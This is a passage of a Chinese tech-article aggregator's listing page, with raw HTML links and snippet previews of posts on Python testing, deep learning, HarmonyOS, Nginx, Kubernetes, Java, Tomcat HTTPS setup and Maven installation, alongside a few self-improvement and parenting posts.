href="/search/Python%E6%95%99%E5%AD%B8/1.htm">Python教學</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/TDD/1.htm">TDD</a><a class="tag" taget="_blank" href="/search/unittest/1.htm">unittest</a> <div>前言在现代软件开发中，单元测试已成为一种必不可少的实践。通过测试，我们可以确保每个功能模块在开发和修改过程中按预期工作，从而减少软件缺陷，提高代码质量。而测试驱动开发（TDD）则进一步将测试作为开发的核心部分，先编写测试，再编写代码，以测试为指导开发出更稳定、更可靠的代码。Python提供了强大的unittest模块，它是Python标准库的一部分，专门用于编写和执行单元测试。与其他测试框架相比，</div> </li> <li><a href="/article/1835425097339465728.htm" title="100天持续行动—Day01" target="_blank">100天持续行动—Day01</a> <span class="text-muted">Richard_DL</span> <div>今天开始站着学习，发现效率大幅提升。把fast.ai的Lesson1的后半部分和Lesson2看完了。由于Keras版本和视频中的不一致，运行notebook时经常出现莫名其妙的错误，导致自己只动手实践了视频中的一小部分内容。为了赶时间，我打算先把与CNN相关的视频过一遍。然后尽快开始做自己的项目。明天继续加油，争取把Lesson3和Lesson4看完。</div> </li> <li><a href="/article/1835419377822953472.htm" title="孩子强迫症，厌学叛逆，家长怎么办？" target="_blank">孩子强迫症，厌学叛逆，家长怎么办？</a> <span class="text-muted">扶禾心理</span> <div>01最近，我们的公众号后台收到了很多家长的私信，很多家长说，孩子在进入青春期后，不知不觉竟然有强迫行为，特别容易钻牛角尖，沉迷网络，厌学，顶撞父母。他们为此很苦恼，不知道怎么办。强迫症正在成为儿童和青少年中常见的精神障碍之一。强迫症是一种长期逐步形成的心理问题，是一种慢性、难治性心理疾病。在这里，我们分享一些咨询实践及思路供家长参考，希望对更多的家长和孩子有帮助。一位家长私信我们说，她儿子14岁，</div> </li> <li><a href="/article/1835416945864830976.htm" title="干货|自我介绍这三个坑，99%的概率你踩过！" target="_blank">干货|自我介绍这三个坑，99%的概率你踩过！</a> <span class="text-muted">夏麦生命的魔术师</span> <div>自我介绍——每个人都需要的一张名片。图片源自网络从2018年到现在，在做演讲俱乐部的2年时间里，我在演讲活动现场听过1000+人的自我介绍，自我介绍做得超棒的人真不多！最近，我花了近几个月时间，仔细研究了500+人线上场景的自我介绍，发现优秀的自我介绍也不多！为什么做一张优秀的自我介绍就这么难呢？这个问题，在我帮几十个人打造了自我介绍的过程一直困扰着我。经过了几个月的时间思考与实践，终于发现三个—</div> </li> <li><a href="/article/1835412180422455296.htm" title="[实践应用] 深度学习之模型性能评估指标" target="_blank">[实践应用] 深度学习之模型性能评估指标</a> <span class="text-muted">YuanDaima2048</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/1.htm">工具使用</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/1.htm">损失函数</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E8%AF%84%E4%BC%B0/1.htm">性能评估</a><a class="tag" taget="_blank" href="/search/pytorch/1.htm">pytorch</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a> <div>文章总览：YuanDaiMa2048博客文章总览深度学习之模型性能评估指标分类任务回归任务排序任务聚类任务生成任务其他介绍在机器学习和深度学习领域，评估模型性能是一项至关重要的任务。不同的学习任务需要不同的性能指标来衡量模型的有效性。以下是对一些常见任务及其相应的性能评估指标的详细解释和总结。分类任务分类任务是指模型需要将输入数据分配到预定义的类别或标签中。以下是分类任务中常用的性能指标：准确率(</div> </li> <li><a href="/article/1835412178648264704.htm" title="[实践应用] 深度学习之优化器" target="_blank">[实践应用] 深度学习之优化器</a> <span class="text-muted">YuanDaima2048</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/1.htm">工具使用</a><a class="tag" taget="_blank" href="/search/pytorch/1.htm">pytorch</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E4%BC%98%E5%8C%96%E5%99%A8/1.htm">优化器</a> <div>文章总览：YuanDaiMa2048博客文章总览深度学习之优化器1.随机梯度下降（SGD）2.动量优化（Momentum）3.自适应梯度（Adagrad）4.自适应矩估计（Adam）5.RMSprop总结其他介绍在深度学习中，优化器用于更新模型的参数，以最小化损失函数。常见的优化函数有很多种，下面是几种主流的优化器及其特点、原理和PyTorch实现：1.随机梯度下降（SGD）原理:随机梯度下降通过</div> </li> <li><a href="/article/1835411044768509952.htm" title="字节二面" target="_blank">字节二面</a> <span class="text-muted">Redstone Monstrosity</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>1.假设你是正在面试前端开发工程师的候选人，面试官让你详细说出你上一段实习过程的收获和感悟。在上一段实习过程中，我获得了宝贵的实践经验和深刻的行业洞察，以下是我的主要收获和感悟：一、专业技能提升框架应用熟练度：通过实际项目，我深入掌握了React、Vue等前端框架的使用，不仅提升了编码效率，还学会了如何根据项目需求选择合适的框架。问题解决能力：在实习期间，我遇到了许多预料之外的技术难题。通过查阅文</div> </li> <li><a href="/article/1835404117007233024.htm" title="HarmonyOS开发实战（ Beta5.0）搜索框热搜词自动切换" target="_blank">HarmonyOS开发实战（ Beta5.0）搜索框热搜词自动切换</a> <span class="text-muted">让开，我要吃人了</span> <a class="tag" taget="_blank" href="/search/OpenHarmony/1.htm">OpenHarmony</a><a class="tag" taget="_blank" href="/search/HarmonyOS/1.htm">HarmonyOS</a><a class="tag" taget="_blank" href="/search/%E9%B8%BF%E8%92%99%E5%BC%80%E5%8F%91/1.htm">鸿蒙开发</a><a class="tag" taget="_blank" href="/search/harmonyos/1.htm">harmonyos</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA/1.htm">华为</a><a class="tag" taget="_blank" href="/search/%E9%B8%BF%E8%92%99/1.htm">鸿蒙</a><a class="tag" taget="_blank" href="/search/%E7%A7%BB%E5%8A%A8%E5%BC%80%E5%8F%91/1.htm">移动开发</a><a class="tag" taget="_blank" href="/search/%E9%B8%BF%E8%92%99%E7%B3%BB%E7%BB%9F/1.htm">鸿蒙系统</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>鸿蒙HarmonyOS开发往期必看：HarmonyOSNEXT应用开发性能实践总结最新版！“非常详细的”鸿蒙HarmonyOSNext应用开发学习路线！（从零基础入门到精通）介绍本示例介绍使用TextInput组件与Swiper组件实现搜索框内热搜词自动切换。效果图预览使用说明页面顶部搜索框内热搜词条自动切换，编辑搜索框时自动隐藏。实现思路使用TextInput实现搜索框TextInput({te</div> </li> <li><a href="/article/1835400084305571840.htm" title="python老是报参数未定义_Python函数默认参数常见问题及解决方案" target="_blank">python老是报参数未定义_Python函数默认参数常见问题及解决方案</a> <span class="text-muted">weixin_39935571</span> <a class="tag" taget="_blank" href="/search/python%E8%80%81%E6%98%AF%E6%8A%A5%E5%8F%82%E6%95%B0%E6%9C%AA%E5%AE%9A%E4%B9%89/1.htm">python老是报参数未定义</a> <div>一、默认参数python为了简化函数的调用，提供了默认参数机制：这样在调用pow函数时，就可以省略最后一个参数不写：在定义有默认参数的函数时，需要注意以下：必选参数必须在前面，默认参数在后；设置何种参数为默认参数？一般来说，将参数值变化小的设置为默认参数。python标准库实践python内建函数：函数签名可以看出，使用print('hellopython')这样的简单调用的打印语句，实际上传入了</div> </li> <li><a href="/article/1835397661692358656.htm" title="2022-5-23《儿童纪律教育》培训" target="_blank">2022-5-23《儿童纪律教育》培训</a> <span class="text-muted">手捧鲜花_54e3</span> <div>张子博春蕾八幼缺乏技能导致的问题，需要老师和家长教授儿童所需要的锻炼的技能。比如教授儿童如何处理情绪、与人相处以及有效的交流技巧。未满足的情感需要，如信任、尊重、爱与权利的需要，都应该让儿童充分得到满足时，才能解决问题。家庭互动与复杂的原因，需要教师建立以家庭为中心的实践，和家庭沟通，建立和谐的关系，为孩子的健康成长共同努力。</div> </li> <li><a href="/article/1835392770102095872.htm" title="metaRTC/webRTC QOS 方案与实践" target="_blank">metaRTC/webRTC QOS 方案与实践</a> <span class="text-muted">metaRTC</span> <a class="tag" taget="_blank" href="/search/metaRTC/1.htm">metaRTC</a><a class="tag" taget="_blank" href="/search/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/1.htm">解决方案</a><a class="tag" taget="_blank" href="/search/webrtc/1.htm">webrtc</a><a class="tag" taget="_blank" href="/search/qos/1.htm">qos</a> <div>概述质量服务(QOS/QualityofService)是指利用各种技术方案提高网络通信质量的技术，网络通信质量需要解决下面两个问题：网络问题：UDP/不稳定网络/弱网下的丢包/延时/乱序/抖动数据量问题：发送数据量超带宽负载和平滑发送拥塞控制是各种技术方案的数据基础，丢包恢复解决丢包问题，抗乱序抖动解决网络乱序抖动问题，流量控制解决平滑发送数据/数据超带宽负载/延时问题。拥塞控制(Congest</div> </li> <li><a href="/article/1835389111658180608.htm" title="《HTML 与 CSS—— 响应式设计》" target="_blank">《HTML 与 CSS—— 响应式设计》</a> <span class="text-muted">陈在天box</span> <a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>一、引言在当今数字化时代，人们使用各种不同的设备访问互联网，包括智能手机、平板电脑、笔记本电脑和台式机等。为了确保网站在不同设备上都能提供良好的用户体验，响应式设计成为了网页开发的关键。HTML和CSS作为网页开发的基础技术，在实现响应式设计方面发挥着重要作用。本文将深入探讨HTML与CSS中的响应式设计原理、方法和最佳实践。二、响应式设计的概念与重要性（一）概念响应式设计是一种网页设计方法，旨在</div> </li> <li><a href="/article/1835379662918873088.htm" title="【从问题中去学习k8s】k8s中的常见面试题（夯实理论基础）（二十八）" target="_blank">【从问题中去学习k8s】k8s中的常见面试题（夯实理论基础）（二十八）</a> <span class="text-muted">向往风的男子</span> <a class="tag" taget="_blank" href="/search/k8s/1.htm">k8s</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/kubernetes/1.htm">kubernetes</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a> <div>本站以分享各种运维经验和运维所需要的技能为主《python零基础入门》：python零基础入门学习《python运维脚本》：python运维脚本实践《shell》：shell学习《terraform》持续更新中：terraform_Aws学习零基础入门到最佳实战《k8》从问题中去学习k8s《docker学习》暂未更新《ceph学习》ceph日常问题解决分享《日志收集》ELK+各种中间件《运维日常》</div> </li> <li><a href="/article/1835359727924637696.htm" title="Nginx从入门到实践(三)" target="_blank">Nginx从入门到实践(三)</a> <span class="text-muted">听你讲故事啊</span> <div>动静分离动静分离是将网站静态资源（JavaScript，CSS，img等文件）与后台应用分开部署，提高用户访问静态代码的速度，降低对后台应用访问。动静分离的一种做法是将静态资源部署在nginx上，后台项目部署到应用服务器上，根据一定规则静态资源的请求全部请求nginx服务器，达到动静分离的目标。rewrite规则Rewrite规则常见正则表达式Rewrite主要的功能就是实现URL的重写，Ngin</div> </li> <li><a href="/article/1835353342625280000.htm" title="2021.10.25-2021.10.31一周计划" target="_blank">2021.10.25-2021.10.31一周计划</a> <span class="text-muted">从21年9月11日起</span> <div>一、事业1、工作：100封开发信。2、学习开发新客户知识补充30min/天*3天二、心灵1、晨间日记+一日总结。2、读经：15分钟/天*5天3、10min/天*5天观照自己的内心。三、成长1、趁早学习：3个主题并行。美貌、赚钱、饮食—-并落地实践2、纸质书：30分钟/天*6天《刻意练习》3、一周总结和计划4、时间管理群人员的学习跟进四、社交西湖一圈行五、亲子1、带小朋友出去走走2、制作卡片，实行积</div> </li> <li><a href="/article/1835343431908552704.htm" title="2019-04-22" target="_blank">2019-04-22</a> <span class="text-muted">平凡的人生Dian</span> <div>六项精进打卡Day252一学习与实践1.付出不亚于任何人的努力2.要谦虚不要骄傲3.要每天反省4.活着，就要感谢5.积善行，思利他6.不要有感性的烦恼分享人总是对陌生人很宽容，对熟悉的人很挑剔。</div> </li> <li><a href="/article/1835343176332832768.htm" title="【86】喜欢“折腾”的余老师" target="_blank">【86】喜欢“折腾”的余老师</a> <span class="text-muted">亲亲鱼老师</span> <div>“我们的进度会比其他班级慢一点，因为我们的实践作业会多一些，希望你们能够明白老师要求做的一切……第三单元学习写观察日记，为了学生体验感再强一些，我让孩子们种植大蒜,每天再写一篇观察日记。原本想着连续让孩子们观察六天就好，结果是六天结束了，孩子们因各种各样的原因，小蒜苗的生长各不相同，关键是真正长出绿色叶子的没几个，于是决定再继续观察几天……要问我为什么喜欢如此折腾？我想我能给的答案一定是为了所有的</div> </li> <li><a href="/article/1835333015086133248.htm" title="【NumPy】深入解析numpy.zeros()函数" target="_blank">【NumPy】深入解析numpy.zeros()函数</a> <span class="text-muted">二七830</span> <a class="tag" taget="_blank" href="/search/numpy/1.htm">numpy</a> <div>欢迎莅临我的个人主页这里是我深耕Python编程、机器学习和自然语言处理（NLP）领域，并乐于分享知识与经验的小天地！博主简介：我是二七830，一名对技术充满热情的探索者。多年的Python编程和机器学习实践，使我深入理解了这些技术的核心原理，并能够在实际项目中灵活应用。尤其是在NLP领域，我积累了丰富的经验，能够处理各种复杂的自然语言任务。技术专长：我熟练掌握Python编程语言，并深入研究了机</div> </li> <li><a href="/article/1835328784119721984.htm" title="尹吭【谦虚组】精进打卡2018.06.12" target="_blank">尹吭【谦虚组】精进打卡2018.06.12</a> <span class="text-muted">老黑1983</span> <div>内容：【日精进打卡第171天】【知～学习】《六项精进》2遍共330遍《大学》2遍共346遍••••••【经典名句分享】人不知而不愠不亦君子乎【行～实践】一、修身：（对自己个人）俯卧撑20个五组修身：（利他：告知中医的一些治疗项目）修身：（帮扶：帮扶对象离职）二、齐家：（对家庭和家人）1、送女儿上学三、建功：（对工作）1、湿疹和疣案例页调整｛积善｝：发愿从2017年12月25日起1年内365善事。今</div> </li> <li><a href="/article/36.htm" title="ASM系列四利用Method 组件动态注入方法逻辑" target="_blank">ASM系列四利用Method 组件动态注入方法逻辑</a> <span class="text-muted">lijingyao8206</span> <a class="tag" taget="_blank" href="/search/%E5%AD%97%E8%8A%82%E7%A0%81%E6%8A%80%E6%9C%AF/1.htm">字节码技术</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/AOP/1.htm">AOP</a><a class="tag" taget="_blank" href="/search/%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/1.htm">动态代理</a><a class="tag" taget="_blank" href="/search/ASM/1.htm">ASM</a> <div>        这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现。通过前面一篇，知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例。那么我们也基本可以知道，同ClassVisitor改变类成员一样，MethodVIsistor如果需要改变方法成员，注入逻辑，也可以</div> </li> <li><a href="/article/163.htm" title="java编程思想 --内部类" target="_blank">java编程思想 --内部类</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%86%85%E9%83%A8%E7%B1%BB/1.htm">内部类</a><a class="tag" taget="_blank" href="/search/%E5%8C%BF%E5%90%8D%E5%86%85%E9%83%A8%E7%B1%BB/1.htm">匿名内部类</a> <div>内部类;了解外部类 并能与之通信 内部类写出来的代码更加整洁与优雅   1,内部类的创建  内部类是创建在类中的 package com.wj.InsideClass; /* * 内部类的创建 */ public class CreateInsideClass { public CreateInsideClass(</div> </li> <li><a href="/article/290.htm" title="web.xml报错" target="_blank">web.xml报错</a> <span class="text-muted">crabdave</span> <a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a> <div>web.xml报错   The content of element type "web-app" must match "(icon?,display-  name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,s</div> </li> <li><a href="/article/417.htm" title="泛型类的自定义" target="_blank">泛型类的自定义</a> <span class="text-muted">麦田的设计者</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E6%B3%9B%E5%9E%8B/1.htm">泛型</a> <div>   为什么要定义泛型类，当类中要操作的引用数据类型不确定的时候。采用泛型类，完成扩展。   例如有一个学生类     Student{ Student(){ System.out.println("I'm a student....."); } }  有一个老师类   </div> </li> <li><a href="/article/544.htm" title="CSS清除浮动的4中方法" target="_blank">CSS清除浮动的4中方法</a> <span class="text-muted">IT独行者</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a> <div>清除浮动这个问题，做前端的应该再熟悉不过了，咱是个新人，所以还是记个笔记，做个积累，努力学习向大神靠近。CSS清除浮动的方法网上一搜，大概有N多种，用过几种，说下个人感受。 1、结尾处加空div标签 clear:both 1 2 3 4 .div 1 { background : #000080 ; border : 1px   s</div> </li> <li><a href="/article/671.htm" title="Cygwin使用windows的jdk 配置方法" target="_blank">Cygwin使用windows的jdk 配置方法</a> <span class="text-muted">_wy_</span> <a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/cygwin/1.htm">cygwin</a> <div>1.[vim /etc/profile]    JAVA_HOME="/cgydrive/d/Java/jdk1.6.0_43"  (windows下jdk路径为D:\Java\jdk1.6.0_43)    PATH="$JAVA_HOME/bin:${PATH}"    CLAS</div> </li> <li><a href="/article/798.htm" title="linux下安装maven" target="_blank">linux下安装maven</a> <span class="text-muted">无量</span> <a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E8%A3%85/1.htm">安装</a> <div>Linux下安装maven(转) 1.首先到Maven官网下载安装文件，目前最新版本为3.0.3，下载文件为 apache-maven-3.0.3-bin.tar.gz，下载可以使用wget命令； 2.进入下载文件夹，找到下载的文件，运行如下命令解压 tar -xvf  apache-maven-2.2.1-bin.tar.gz 解压后的文件夹</div> </li> <li><a href="/article/925.htm" title="tomcat的https 配置,syslog-ng配置" target="_blank">tomcat的https 配置,syslog-ng配置</a> <span class="text-muted">aichenglong</span> <a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/http%E8%B7%B3%E8%BD%AC%E5%88%B0https/1.htm">http跳转到https</a><a class="tag" taget="_blank" href="/search/syslong-ng%E9%85%8D%E7%BD%AE/1.htm">syslong-ng配置</a><a class="tag" taget="_blank" href="/search/syslog%E9%85%8D%E7%BD%AE/1.htm">syslog配置</a> <div>1) tomcat配置https,以及http自动跳转到https的配置     1)TOMCAT_HOME目录下生成密钥(keytool是jdk中的命令)      keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit</div> </li> <li><a href="/article/1052.htm" title="关于领号活动总结" target="_blank">关于领号活动总结</a> <span class="text-muted">alafqq</span> <a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8/1.htm">活动</a> <div>关于某彩票活动的总结具体需求，每个用户进活动页面，领取一个号码，1000中的一个；活动要求 1，随机性，一定要有随机性； 2，最少中奖概率，如果注数为3200注，则最多中4注 3，效率问题，（不能每个人来都产生一个随机数，这样效率不高）； 4，支持断电（仍然从下一个开始），重启服务；（存数据库有点大材小用，因此不能存放在数据库）解决方案 1，事先产生随机数1000个，并打</div> </li> <li><a href="/article/1179.htm" title="java数据结构冒泡排序的遍历与排序" target="_blank">java数据结构冒泡排序的遍历与排序</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>java的冒泡排序是一种简单的排序规则   冒泡排序的原理：           比较两个相邻的数，首先将最大的排在第一个，第二次比较第二个，此后一样；         针对所有的元素重复以上的步骤，除了最后一个     例题；将int array[] </div> </li> <li><a href="/article/1306.htm" title="JS检查输入框输入的是否是数字的一种校验方法" target="_blank">JS检查输入框输入的是否是数字的一种校验方法</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/js/1.htm">js</a> <div>如下是JS检查输入框输入的是否是数字的一种校验方法： <form method=post target="_blank"> 数字：<input type="text" name=num onkeypress="checkNum(this.form)"><br> </form> </div> </li> <li><a href="/article/1433.htm" title="Test注解的两个属性：expected和timeout" target="_blank">Test注解的两个属性：expected和timeout</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/JUnit/1.htm">JUnit</a><a class="tag" taget="_blank" href="/search/expected/1.htm">expected</a><a class="tag" taget="_blank" href="/search/timeout/1.htm">timeout</a> <div>JUnit4：Test文档中的解释：　　The Test annotation supports two optional parameters. 　　The first, expected, declares that a test method should throw an exception. 　　If it doesn't throw an exception or if it </div> </li> <li><a href="/article/1560.htm" title="[Gson二]继承关系的POJO的反序列化" target="_blank">[Gson二]继承关系的POJO的反序列化</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/POJO/1.htm">POJO</a> <div>父类     package inheritance.test2; import java.util.Map; public class Model { private String field1; private String field2; private Map<String, String> infoMap</div> </li> <li><a href="/article/1687.htm" title="【Spark八十四】Spark零碎知识点记录" target="_blank">【Spark八十四】Spark零碎知识点记录</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/spark/1.htm">spark</a> <div>1. ShuffleMapTask的shuffle数据在什么地方记录到MapOutputTracker中的 ShuffleMapTask的runTask方法负责写数据到shuffle map文件中。当任务执行完成成功，DAGScheduler会收到通知，在DAGScheduler的handleTaskCompletion方法中完成记录到MapOutputTracker中   </div> </li> <li><a href="/article/1814.htm" title="WAS各种脚本作用大全" target="_blank">WAS各种脚本作用大全</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/WAS+%E8%84%9A%E6%9C%AC/1.htm">WAS 脚本</a> <div>　　　http://www.ibm.com/developerworks/cn/websphere/library/samples/SampleScripts.html 　　　无意中，在WAS官网上发现的各种脚本作用，感觉很有作用，先与各位分享一下　　　获取下载这些示例 jacl 和 Jython 脚本可用于在 WebSphere Application Server 的不同版本中自</div> </li> <li><a href="/article/1941.htm" title="java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句" target="_blank">java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/switch/1.htm">switch</a> <div>借鉴网上的思路，用java实现： public class NoIfWhile { /** * @param args * * find x=1+2+3+....n */ public static void main(String[] args) { int n=10; int re=find(n); System.o</div> </li> <li><a href="/article/2068.htm" title="Netty源码学习-ObjectEncoder和ObjectDecoder" target="_blank">Netty源码学习-ObjectEncoder和ObjectDecoder</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/netty/1.htm">netty</a> <div>Netty中传递对象的思路很直观： Netty中数据的传递是基于ChannelBuffer（也就是byte[]）；那把对象序列化为字节流，就可以在Netty中传递对象了相应的从ChannelBuffer恢复对象，就是反序列化的过程 Netty已经封装好ObjectEncoder和ObjectDecoder 先看ObjectEncoder ObjectEncoder是往外发送</div> </li> <li><a href="/article/2195.htm" title="spring 定时任务中cronExpression表达式含义" target="_blank">spring 定时任务中cronExpression表达式含义</a> <span class="text-muted">chicony</span> <a class="tag" taget="_blank" href="/search/cronExpression/1.htm">cronExpression</a> <div>一个cron表达式有6个必选的元素和一个可选的元素，各个元素之间是以空格分隔的，从左至右，这些元素的含义如下表所示：代表含义            是否必须允许的取值范围         &nb</div> </li> <li><a href="/article/2322.htm" title="Nutz配置Jndi" target="_blank">Nutz配置Jndi</a> <span class="text-muted">ctrain</span> <a class="tag" taget="_blank" href="/search/JNDI/1.htm">JNDI</a> <div>1、使用JNDI获取指定资源： var ioc = { dao : { type :"org.nutz.dao.impl.NutDao", args : [ {jndi :"jdbc/dataSource"} ] } } 以上方法,仅需要在容器中配置好数据源,注入到NutDao即可. </div> </li> <li><a href="/article/2449.htm" title="解决 /bin/sh^M: bad interpreter: No such file or directory" target="_blank">解决 /bin/sh^M: bad interpreter: No such file or directory</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a> <div>在Linux中执行.sh脚本，异常/bin/sh^M: bad interpreter: No such file or directory。   分析：这是不同系统编码格式引起的：在windows系统中编辑的.sh文件可能有不可见字符，所以在Linux系统下执行会报以上异常信息。解决： 1）在windows下转换：利用一些编辑器如UltraEdit或EditPlus等工具</div> </li> <li><a href="/article/2576.htm" title="[转]for 循环为何可恨？" target="_blank">[转]for 循环为何可恨？</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/%E8%AF%BB%E4%B9%A6/1.htm">读书</a> <div>  Java的闭包(Closure)特征最近成为了一个热门话题。一些精英正在起草一份议案，要在Java将来的版本中加入闭包特征。然而，提议中的闭包语法以及语言上的这种扩充受到了众多Java程序员的猛烈抨击。不久前，出版过数十本编程书籍的大作家Elliotte Rusty Harold发表了对Java中闭包的价值的质疑。尤其是他问道“for 循环为何可恨？”[http://ju</div> </li> <li><a href="/article/2703.htm" title="Android实用小技巧" target="_blank">Android实用小技巧</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>1、去掉所有Activity界面的标题栏　　修改AndroidManifest.xml 　　在application 标签中添加android:theme="@android:style/Theme.NoTitleBar"   2、去掉所有Activity界面的TitleBar 和StatusBar  　　修改AndroidManifes</div> </li> <li><a href="/article/2830.htm" title="Oracle 复习笔记之序列" target="_blank">Oracle 复习笔记之序列</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" href="/search/Oracle+%E5%BA%8F%E5%88%97/1.htm">Oracle 序列</a><a class="tag" taget="_blank" href="/search/sequence/1.htm">sequence</a><a class="tag" taget="_blank" href="/search/Oracle+sequence/1.htm">Oracle sequence</a> <div>转载请出自出处：http://eksliang.iteye.com/blog/2098859 1.序列的作用序列是用于生成唯一、连续序号的对象一般用序列来充当数据库表的主键值 2.创建序列语法如下：   create sequence s_emp start with 1 --开始值 increment by 1 --増长值 maxval</div> </li> <li><a href="/article/2957.htm" title="有“品”的程序员" target="_blank">有“品”的程序员</a> <span class="text-muted">gongmeitao</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a> <div>完美程序员的10种品质　　   完美程序员的每种品质都有一个范围，这个范围取决于具体的问题和背景。没有能解决所有问题的   完美程序员（至少在我们这个星球上），并且对于特定问题，完美程序员应该具有以下品质：　　1. 才智非凡- 能够理解问题、能够用清晰可读的代码翻译并表达想法、善于分析并且逻辑思维能力强   （范围：用简单方式解决复杂问题）　　 </div> </li> <li><a href="/article/3084.htm" title="使用KeleyiSQLHelper类进行分页查询" target="_blank">使用KeleyiSQLHelper类进行分页查询</a> <span class="text-muted">hvt</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a><a class="tag" taget="_blank" href="/search/asp.net/1.htm">asp.net</a><a class="tag" taget="_blank" href="/search/hovertree/1.htm">hovertree</a> <div>本文适用于sql server单主键表或者视图进行分页查询，支持多字段排序。KeleyiSQLHelper类的最新代码请到http://hovertree.codeplex.com/SourceControl/latest下载整个解决方案源代码查看。或者直接在线查看类的代码：http://hovertree.codeplex.com/SourceControl/latest#HoverTree.D</div> </li> <li><a href="/article/3211.htm" title="SVG 教程（三）圆形，椭圆，直线" target="_blank">SVG 教程（三）圆形，椭圆，直线</a> <span class="text-muted">天梯梦</span> <a class="tag" taget="_blank" 